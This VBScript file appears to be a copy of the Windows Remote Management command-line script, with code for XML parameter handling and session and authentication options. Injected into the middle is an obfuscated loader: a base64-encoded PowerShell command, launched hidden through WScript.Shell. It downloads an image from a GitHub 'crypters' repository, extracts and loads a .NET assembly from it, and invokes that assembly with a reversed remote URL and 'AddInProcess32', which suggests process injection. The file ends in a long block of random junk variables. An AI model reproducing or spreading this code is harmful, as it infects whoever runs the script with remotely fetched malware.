parameters = parameters & " " & ATTR_NIL
nilns = " " & NS_XSI
end if
parameters = parameters & ">" & Escape(parameterDic(key)) & _
"</p:" & key & ">"
next
end if
putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"
elseif operation = OP_PUT then
if parameterCount = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if
'get the original resource xml
on error resume next
putStr = alcaidinaObj.Get(resourceLocator)
if Err.Number <> 0 then
ASSERTERR alcaidinaObj, symbiose
inputStr = ""
ProcessInput = false
exit function
end if
'create an MSXML DomDocument object to work with the resource xml
on error resume next
Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_MSXML6MISSING_Message")
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.async = false
'load the domdocument with the resource xml
paramXmlFile.LoadXML(putStr)
if (paramXmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_XMLERROR_Message") & paramXmlFile.parseError.reason
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.setProperty "SelectionLanguage", "XPath"
'loop through the command-line name/value pairs
for each key in parameterDic
'find the elements matching the key
Dim xpathString
xpathString = "/*/*[local-name()=""" & key & """]"
if LCase(key) = "location" then
'Ignore cim:Location
xpathString = "/*/*[local-name()=""" & key & """ and namespace-uri() != """ & NS_CIMBASE & """]"
end if
Set elementList = paramXmlFile.selectNodes(xpathString)
'make sure there is 1 - error on 0 or > 1
if elementList.length = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
elseif elementList.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_MULTIMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
'get the node from the list
Set currentElement = elementList.nextNode()
'make sure the node does not have anything other than 1 or less text children
if currentElement.hasChildNodes() then
if currentElement.childNodes.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
dim aNode
Set aNode = currentElement.childNodes.nextNode()
if aNode.nodeType <> NODE_TEXT then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
end if
end if
end if
if IsNull(parameterDic(key)) then
Set tmpNode = paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)
tmpNode.text = "true"
currentElement.setAttributeNode tmpNode
currentElement.text = ""
else
'delete nil attribute if present
currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)
currentElement.text = parameterDic(key)
end if
end If
next
putStr = paramXmlFile.xml
end if
inputStr = putStr
ProcessInput = true
end function
Function encetadura(ByVal colma, ByVal quelha, ByVal juba)
Dim comedente
comedente = InStr(colma, quelha)
Do While comedente > 0
colma = Left(colma, comedente - 1) & juba & Mid(colma, comedente + Len(quelha))
comedente = InStr(comedente + Len(juba), colma, quelha)
Loop
encetadura = colma
End Function
private function ReadStdIn()
while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function
If Not oligotrophia() Then
On Error Resume Next
orveto = "KCdwQkVpbWFnZVVybCA9JysnIG9VTmh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0Fu
ZFRvb2xzT2Zp
Y2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBvVU47cEJFd2ViQ2xpZW50ID0gTmV3LU9iamVjdCAnK
ydTJysneXN0ZW0uTm
orveto = orveto & "lYkNsaWVudDsnKydwQkVpbWFnZUJ5dGVzID0gcEJFd2ViQ2xpZW50LkRvd25sb2FkRGF0YScrJyhwQkVpbWFnZVV
ybCk7cCcrJ0J
FaW1hZ2UnKydUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpJysnbmcocEJFaW1hZ2VCeXRlcyk7
cEJFc3RhcnRGbGFnI
orveto = orveto & "VOPDxCQVNFNjRfU1RBUlQ+Pm9VTjtwQkVlbmRGbGFnICcrJz0gb1VOPDxCQVNFNjRfRU5EPj5vVU47cEJFc3Rhcn
RJbmRleCA9IH
BCRWltYWdlVCcrJ2V4dC5JbmRleE9mKHBCRXN0YXJ0RmxhZyk7cEJFZW5kSW5kJysnZXggPSBwQkVpbWFnZVRleHQuSW5kZSc
rJ3hPZihwQkVlbmRG
orveto = orveto & "TtwQkVzdGFydEluZGV4IC1nZSAwIC1hbmQgcEJFZW5kSW5kZXggLWd0IHBCRXN0YXJ0SW5kZXg7cEJFc3RhcnRJb
mRleCArPSBwQ
kVzdGFydEZsYWcuTGVuZ3RoO3BCRWJhc2U2NExlbmd0aCA9IHBCRWVuZEluZGV4IC0gcEJFc3RhcicrJ3RJbicrJ2RleDtwQk
ViYXNlNjRDb21tYW5
orveto = orveto & "cEJFJysnaW1hZ2VUZXh0LlN1YnN0cmluZyhwQkVzdGFydEluZGV4LCBwQicrJ0ViYXNlNjRMZW5ndGgpO3BCRWNv
bW1hbmRCeXRl
cyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcocEJFJysnYmFzZTY0Q29tbWFuZCk7cEJFbG9hZGVkQXNzZ
W1ibHkgPSBbU3lzdG
orveto = orveto & "lJysnZmxlY3QnKydpb24uQXNzZW1iJysnbHldOjonKydMb2FkKHBCRWNvbW1hbmQnKydCeXRlcyk7cEJFdmFpTWV
0aG9kID0gW2R
ubGliLklPLkhvbWUnKyddLkdldE1ldCcrJ2gnKydvZChvVU5WQUlvVU4pO3AnKydCRXZhaU1ldGhvZC5JbnZvJysna2UocEJF
bnVsbCwgQChvVU50e
orveto = orveto & "Q0NDYnKydlc2FiYmJiYmJld21hZCcrJ2EnKydtLzQzMS44NzEuNjQuODkxLy86cHR0aG9VTiwgb1VOZGVzYXRpdm
Fkb29VTiwgb1
VOZGVzYXRpdmFkb29VTiwgb1VOZGVzYXQnKydpdmFkbycrJ29VTiwgb1VOQWRkSW5Qcm9jZXNzMzJvVU4sIG9VTmRlc2F0aXZ
hZG9vVU4sIG9VTmRl
orveto = orveto & "XZhZG9vVU4pKTsnKS5SZXBMQWNFKChbY2hhcl0xMTIrW2NoYXJdNjYrW2NoYXJdNjkpLCckJykuUmVwTEFjRSgoW
2NoYXJdMTExK
1tjaGFyXTg1K1tjaGFyXTc4KSxbc3RSaU5HXVtjaGFyXTM5KSB8IC4oICRWZXJCb3NFcHJFZmVyRU5jRS5UT1N0UklOZygpWz
EsM10rJ3gnLUpvSU4
Dim desautorizar
desautorizar = "
Dim acyrologia
acyrologia = "
acyrologia = acyrologia & "
acyrologia = acyrologia & "g
acyrologia = acyrologia & "
acyrologia = acyrologia & "
" & orveto & "'
acyrologia = acyrologia & ";
acyrologia = acyrologia & "W
acyrologia = acyrologia & "
acyrologia = acyrologia & "=
acyrologia = acyrologia & "
acyrologia = acyrologia & ".
acyrologia = acyrologia & "x
acyrologia = acyrologia & "
acyrologia = acyrologia & "d
acyrologia = acyrologia & "g
acyrologia = acyrologia & ":UT
acyrologia = acyrologia & "F8
acyrologia = acyrologia & "Ge
acyrologia = acyrologia & "St
acyrologia = acyrologia & "ri
acyrologia = acyrologia & "[s
acyrologia = acyrologia & "te
acyrologia = acyrologia & "v
acyrologia = acyrologia & ":
acyrologia = acyrologia & "mb
acyrologia = acyrologia & "e
acyrologia = acyrologia & "4
acyrologia = acyrologia & "r
acyrologia = acyrologia & "c
acyrologia = acyrologia & "ig
acyrologia = acyrologia & ";po
acyrologia = acyrologia & "w
acyrologia = acyrologia & "el
acyrologia = acyrologia & "x
acyrologia = acyrologia & "d
acyrologia = acyrologia & "ty
acyrologia = acyrologia & "dd
acyrologia = acyrologia & "e
acyrologia = acyrologia & "ec
acyrologia = acyrologia & "i
acyrologia = acyrologia & "i
acyrologia = acyrologia & "p
acyrologia = acyrologia & "P
acyrologia = acyrologia & "i
acyrologia = acyrologia & "m
acyrologia = acyrologia & "n
acyrologia = acyrologia & "Wj
acyrologia = encetadura(acyrologia, desautorizar, "")
Dim rezador
rezador = "p
rezador = rezador & "w
rezador = rezador & "s
rezador = rezador & "l
rezador = encetadura(rezador, desautorizar, "")
rezador = rezador & acyrologia
Dim muchacharia
Set muchacharia = CreateObject("WScript.Shell")
muchacharia.Run rezador, 0, False
WScript.Quit(avranches)
End If
''''''''''''''''''''
' Escapes non XML chars
private function Escape(str)
dim i
for i = 1 to Len(str)
select case Mid(str, i, 1)
case "&"
Escape = Escape & "&"
case "<"
Escape = Escape & "<"
case ">"
Escape = Escape & ">"
case """"
Escape = Escape & """
case "'"
Escape = Escape & "'"
case else
Escape = Escape & Mid(str, i, 1)
end select
next
end function
'''''''''''''''''''''
' Checks if this script is running under cscript.exe
private function segrel()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
segrel = True
else
segrel = False
end if
end function
private function CreateSession(wsman, conStr, optDic, symbiose)
dim alcaidinaFlags
dim conOpt
dim alcaidina
dim authVal
dim encodingVal
dim encryptVal
dim pw
dim tout
' proxy information
dim proxyAccessType
dim proxyAccessTypeVal
dim proxyAuthenticationMechanism
dim proxyAuthenticationMechanismVal
dim proxyUsername
dim proxyPassword
alcaidinaFlags = 0
proxyAccessType = 0
proxyAccessTypeVal = 0
proxyAuthenticationMechanism = 0
proxyAuthenticationMechanismVal = 0
proxyUsername = ""
proxyPassword = ""
set conOpt = Nothing
if optDic.ArgumentExists(NPARA_ENCODING) then
ASSERTNAL(NPARA_ENCODING)
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is only valid when used with the '-remote' option"
encodingVal = optDic.Argument(NPARA_ENCODING)
if LCase(encodingVal) = "utf-16" then
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagUTF16
elseif LCase(encodingVal) = "utf-8" then
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagUTF8
else
' Invalid!
ASSERTBOOL false, "The specified encoding flag is invalid."
end if
end if
if optDic.ArgumentExists(NPARA_UNENCRYPTED) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"
'C API will ensure that unencrypted is only used w/ http
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagNoEncryption
end if
if optDic.ArgumentExists(NPARA_USESSL) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagUseSsl
end if
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTNAL(NPARA_AUTH)
authVal = optDic.Argument(NPARA_AUTH)
select case LCase(authVal)
case VAL_NO_AUTH
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagUseNoAuthentication
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'"
case VAL_BASIC
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'"
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic
case VAL_DIGEST
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:digest'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
case VAL_KERBEROS
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:kerberos'"
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagUseKerberos
case VAL_NEGOTIATE
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'"
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagUseNegotiate
case VAL_CERT
'-certificate is mandatory.
ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option must be specified for '-auth:certificate'"
'-username or -password must not be used
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagUseClientCertificate
case VAL_CREDSSP
'Use -username and -password.
ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:credssp'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:credssp'"
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP
case else
ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_USERNAME) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option cannot be used together with '-username'"
set conOpt = wsman.CreateConnectionOptions
conOpt.UserName = optDic.Argument(NPARA_USERNAME)
if optDic.ArgumentExists(NPARA_PASSWORD) then
conOpt.Password = optDic.Argument(NPARA_PASSWORD)
end if
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagCredUsernamePassword
end if
if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"
'this is only valid if -auth:Negotiate is specified
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " & NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE
'C API will ensure this is only used w/ https
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials
end if
if optDic.ArgumentExists(NPARA_CERT) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-certificate'"
set conOpt = wsman.CreateConnectionOptions
conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " & NPARA_CERT & " option is only valid when the authentication mechanism is " & VAL_CERT
end if
'-auth might be missing, in which case we assume -a:Certificate
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagUseClientCertificate
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
ASSERTNAL(NPARA_PROXYACCESS)
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)
select case LCase(proxyAccessTypeVal)
case VAL_PROXY_IE_CONFIG
proxyAccessType = conOpt.ProxyIEConfig
case VAL_PROXY_WINHTTP_CONFIG
proxyAccessType = conOpt.ProxyWinHttpConfig
case VAL_PROXY_AUTODETECT
proxyAccessType = conOpt.ProxyAutoDetect
case VAL_PROXY_NO_PROXY_SERVER
proxyAccessType = conOpt.ProxyNoProxyServer
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field '" & proxyAccessTypeVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYAUTH) then
ASSERTNAL(NPARA_PROXYAUTH)
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" & NPARA_PROXYAUTH & "' option is only valid when used with the '-" & NPARA_PROXYACCESS & "' option"
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)
select case LCase(proxyAuthenticationMechanismVal)
case VAL_BASIC
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic
case VAL_DIGEST
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest
case VAL_NEGOTIATE
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseNegotiate
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" & NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" & NPARA_PROXYAUTH & "' option"
proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)
end if
if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" & NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" & NPARA_PROXYUSERNAME & "' option"
proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
on error resume next
responseStr = conOpt.SetProxy(proxyAccessType, proxyAuthenticationMechanism, proxyUsername, proxyPassword)
ASSERTERR conOpt, symbiose
on error goto 0
end if
if optDic.ArgumentExists(NPARA_NOCACHK) then
'C API will ensure this is only used w/ https
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagSkipCACheck
end if
if optDic.ArgumentExists(NPARA_NOCNCHK) then
'C API will ensure this is only used w/ https
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagSkipCNCheck
end if
if optDic.ArgumentExists(NPARA_NOREVCHK) then
'C API will ensure this is only used w/ https
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagSkipRevocationCheck
end if
if optDic.ArgumentExists(NPARA_SPNPORT) then
'this is only valid if -auth is not specified or if -auth:Negotiate or -auth:Kerberos is specified
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or " & VAL_KERBEROS
end if
alcaidinaFlags = alcaidinaFlags OR wsman.SessionFlagEnableSPNServerPort
end if
on error resume next
set alcaidina = wsman.CreateSession(conStr, alcaidinaFlags, conOpt)
ASSERTERR wsman, symbiose
on error goto 0
if optDic.ArgumentExists(NPARA_TIMEOUT) then
ASSERTNAL(NPARA_TIMEOUT)
tout = optDic.Argument(NPARA_TIMEOUT)
ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"
alcaidina.Timeout = optDic.Argument(NPARA_TIMEOUT)
end if
set CreateSession = alcaidina
end function
Function cururu(ByVal earina, ByVal proctite, ByVal arcediago)
Dim musicalmente
musicalmente = earina
Do While InStr(musicalmente, proctite) > 0
musicalmente = Left(musicalmente, InStr(musicalmente, proctite) - 1) & arcediago & Mid(musicalmente, InStr(musicalmente, proctite) + Len(proctite))
Loop
cururu = musicalmente
End Function
private sub ASSERTERR(obj, symbiose)
dim errNo
dim errDesc
dim responseStr
dim formattedStr
if Err.Number <> 0 then
errNo = Err.Number
errDesc = Err.Description
responseStr = obj.Error
If Reformat(responseStr,formattedStr,symbiose) Then
stdErr.WriteLine formattedStr
Else
stdErr.WriteLine responseStr
End if
stdErr.WriteLine resurgimento("L_ERRNO_Message") & " " & errNo & " 0x" & Hex(errNo)
stdErr.WriteLine errDesc
WScript.Quit(absorvedoiro)
end if
end sub
' Assert Named Argument Length
private sub ASSERTNAL(namedArg)
if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_ARGNOVAL_Message") & namedArg
WScript.Quit(absorvedoiro)
end if
end sub
private sub ASSERTBOOL(bool, msg)
if Not bool then
stdErr.WriteLine resurgimento("L_ERR_Message") & msg
WScript.Quit(absorvedoiro)
end if
end sub
hKWUzPmciibPbWc = "WWKSaQiWKGUWTkS"
iKrNkodelzLizLc = "zRGoLOclHKcWspc"
KLLhLWpLoTGcbpU = "izIdWuWiBpLZllu"
aNWqPAxcqLhIizi = "xKitgpTLthnzcWa"
hRqRfiNeiKibcKL = "LsuhWiaKLihLOpW"
mnkeCipqpUhUsOO = "qAazAzLGWpWdNTr"
fPGLqGLvPpBmoLW = "GCbZgxWnpUqHoUK"
eLfkCtAoWGoNWaT = "bAHnpWfaGkhWfBc"
RPLtiPtKaLkGgzW = "tiWeJzLNGdKRZeA"
TZWNeUtLqkLvniL = "mhbPLiffUNzNomW"
WxqjWoLcmvbdPKx = "zKLWqtmoLBHGbIs"
ixLbBAfdLqcKiik = "WiUjWbBzJWkOetA"
izaCLSibGpBLhtz = "xmqAAQLlvsgQkUr"
AWIplObWiqGoGro = "evmIOdkxiiZLgkO"
GRlahUGRWLlLvcT = "mZtrdqWeRUmbRKa"
KxeibulWcAokJAz = "fxAAKZKepazqOLS"
bcKpLiWCiKbcnrb = "lNUzGGQWNmGKzxz"
uivzZnpdmQxUkLG = "zczNUnpGTRcSham"
mcLSJkLqKBWhCmW = "nGTxLgipJULOoOW"
AihhLxLbZKBWeIL = "ooLUfiLbmSuAKqo"
zpLheeRzitBNtxi = "LKOqdWLQfcJonoK"
fPZdLzKAkcAWUfk = "NKiNlecGWiUaGSk"
xKzCiTOUbfohGAL = "hibzLLWURsWLbiP"
mLxKdkgfoeiWdiq = "nihoGciezLcPLLf"
cWGfxRWWzciLezG = "pKGjZzWWGZKWGba"
WZhifiiGWimNkqk = "LjeWWRlWAdxQqbL"
LhAcKocLKZufHNg = "iLCRsGpSJLLxciz"
pkLUctvLpWzKaGs = "fGZNWhvmWWjSpUZ"
LWWtWgriGebxHLp = "kLuivcifKxUfBzK"
caUcWWGeLWOQZUk = "LKUWWmukgQfWWzG"
WaWWWLeWloWWfWL = "WIAPiQUhLvKAiut"
WefLsKtqibWWWBA = "ddmhtKLzWLTbkic"
abgNcKhzLJUOaiv = "LulkkNROcNbtKnu"
LLudLaAWLOOcUpo = "AtcWmRZfWdveqNW"
IWQJtNGOdLWminm = "aiuWbiChicBiLiL"
hkZipaCturhclLt = "iBLbWQOWaKWfNKW"
zZxolPkZctndcfz = "BOWZUkrqLNBcuzz"
tSficIUTULLcKdW = "KcOPLBJpgLgLcLL"
eipOhUiGemmudecernGnnd = "AozUukfUbGiizWU"
KiGAnuoKaGOkRAa = "nfLqKOoZzWeoCin"
hudZUNOpbKhlsWI = "ffxqcinhchlLPGT"
LjmtKZRPPofPhKK = "GioRLbGcLWkmoxK"
HGPPuWPLkLCvqLB = "NikjWuTWLCcoKiW"
LzKmKJLULcGpOLj = "cKjBQticZoLucWk"
eeetAWRphoPBLob = "iPUcGhrbHAWKLKp"
kAWlLGWkKKtokLR = "JpGnqUbtuGpLzLp"
ccLzWoeaRmHqGLc = "adSWbKUvBhLnoLi"
tSontWGGLUZPOWL = "GeUNfLLzLrzBiemmudecer"
zuCpWNeRnzomoUe = "mneaNkGzBUgOWBi"
kUKeKWlOWWKWpPe = "iAeWnGUUGzkpaPW"
pLZHpGvUNKWSCCW = "zipLZTZfLHkfPqG"
WgRonAmZiqKWsLW = "jxczeWKdeOIiWoK"
zuGeIKWCWGNKiZJ = "eLWWajKkSWWWaKL"
UfeWNWcZaKorcLW = "dWxWgfWOGWLKuUK"
triKpWHThiQCdzW = "KRzLLhxiLimIeGH"
lpAWOGmqCGkWGcL = "rtkuKlWmKffWhfL"
GBLSlKKLikZkqmz = "TzcILWBcmiLqxLn"
blTtmLciRLGIGti = "WKocWWfliBeicHL"
AomKGJKWpCKbPnd = "ZkIkmzazCpWbikN"
TLWWGoAiWdnhuLu = "WCUiiuLjGQpiPRG"
AZoeLBkGLkQKUca = "zWHkGSmUiTNWOAK"
BpUqpALzmGTcWej = "PWRidWRqoeWIkKz"
GfnIOZkcrkQHlGc = "GLkLLKGulKvkPhT"
BocNdKGZupQkKOW = "hUUiiKLKeAURNhf"
NrfhWUNKdcqvliA = "ziGHhiupJUmiQaQ"
KLeULUhAWeRNmLx = "eNaPxWagWmWzOuk"
znWNxiWciLUcCAo = "NZcoixGZWPHKmqL"
tmKKLZsieUpkbiI = "WtAIUOszTILNfKe"
KkfhnBZiipfzkqc = "eiLRikcbnLLPjlH"
sLWbAmlHhTCWloL = "azAceKOAmdGxAmW"
GKcKhnIeLPNaqnb = "hxHPkWmHpngGdLj"
oWANRULcLPfHIKu = "sLiciChjlWrjzZo"
LvoubkckdpLBiWd = "kKgONAbcchmKIxR"
cjokZiWcxrmcWCI = "JKLxhWNQkamWLcA"
aPdCaivuvcIATxu = "OLrkHuUigjiGKtb"
mlxLkWpkcfqUHaU = "WGKLLmdxoWaeLKB"
WZkKcpLRLNGvhGK = "iZOfLUKxKSPjBUc"
mzrupsnUBKciciR = "hdCWJaPnmtWmUPo"
LaNKfLLKWJKbBGx = "rzZBKLmLbiLoeiZ"
WlxIZkpOWbqoUBW = "klilKpUNnzLrGqu"
WWcmgWWANBKckaP = "zkpNKLiKhemmudecerAWki"
KcuteLWoOWrLLNi = "LKkhnxkLfTKKCKf"
zhnkLRLpLWPuWBz = "LoxiktaKpAWmWqk"
kcLHWSzTtlWRifr = "cUHhezBKRNmimvA"
oGohIoKKhZcWpuA = "mbNWWpbUhcemmudeceruWc"
WijOSzUdpaWhKkU = "CPLGWWgKohNgcvi"
lGcZKZUaPgLqioU = "hhidlzkKPxAKmfi"
WGkUccpqLuiGknJ = "LxocaLemGKdLWzU"
GZzGULBPIKjWKxi = "tGegCKLRxLgLWed"
CZoPWBZzGKlZtme = "KiRfKbLplAufhLU"
RZLUALUWhIzNWoW = "xCLPLUUPtOWoxOA"
GdkpGNAPWxeUKso = "LKjceAKJScgGxUL"
fKLvofOUuLlAjUG = "NWLWRKciLLaoTfm"
tHLLUnpZHKKLhiT = "GAPoGnkWUWkxcci"
ivWmzPzLtKiiPhu = "xiiCLGiAzRWmklc"
ZzxfsBmPibmUQJt = "QxoGkuCpGGALBiS"
evekkUudtsZBpxf = "eOLibWnhPKNZhhg"
WNoiBkLglzNRLce = "ABUpoObfktfcAch"
SckfKRiLtLkqcAW = "GkLmdmWfatCizGH"
fLiWqOLkzKKBtAk = "fLGLiuLrAWzlirk"
liRlmkfgvOSLpeW = "fcPgnioiGpLscaq"
iuGzLrZIiogbOKs = "GLWpkWxhWbAfOOQ"
TeKWULzLcpPccLi = "LWbiGzWAkJxehqO"
LqWiuUctdrzeihA = "HGNbrepARLqKWez"
fiTUPzieLBxLGiW = "ClnZRsmJLtLxxCk"
ScApmJnGWqLLkZd = "ikKcAKdKUKNlacK"
BeWooihCxhahPhe = "UpGPZfdcPeLLZOA"
LBiiLNkGWJIGGWi = "zRcKLWGzWGUqPcK"
zolzGlpWGzLdLhc = "UfcmfLlWZkGWifc"
bLLLmiKPobKULOu = "WPmiKguWPWWfIHN"
WgGhxpavNcoWcPq = "LuHQKWLUCmpOuIK"
LGWUGzzezOUiLia = "GOokLxuLWihzQWP"
ROWNKnNWCbGzWtc = "WbeLKgZUZRbWxdL"
KJhbaUWzUhZiOWW = "LpbcKcdBLStiRZo"
AzdibqUlzczLiUG = "bLkUlKhnmNKNRkd"
zKcfQGLAaibcGLo = "ptlBRWoLtAmpGNO"
hURKpmqZZUKCKZN = "IUmNJUjGzWALmfG"
WfLJLWPxWLBxZNW = "UNBmqtBWLUOcKKL"
cRxpQAtLmGotkZA = "uefKLImLCLncLKu"
ZCofNPWcKiZGBWZ = "uLsGCccbLeCgLmB"
lKlSiLerKiJRiBO = "GbQmiOUrLUkzOam"
UiWUGSkccLiLihP = "xkLfdigcLfCiPnu"
LIHJhfRmGUidLjU = "WuLTRdNxURsAJLL"
ZZWWLkUGIeUdKbN = "xKlooGxLKbbZpca"
PWcbujipKSLubpc = "GeiAKsOoLWdARiL"
LkeiBbpWAeTKKUk = "UiLWLhKciBZHHbL"
WWqzBdLkWNWOnzi = "GkGTbiKOOUBfdmL"
kRtsKpeRLhGzPKl = "hoWUxcsnaUfWWLj"
WCoeGZfZWuNPKNe = "UoWRPxAWGAaLOOA"
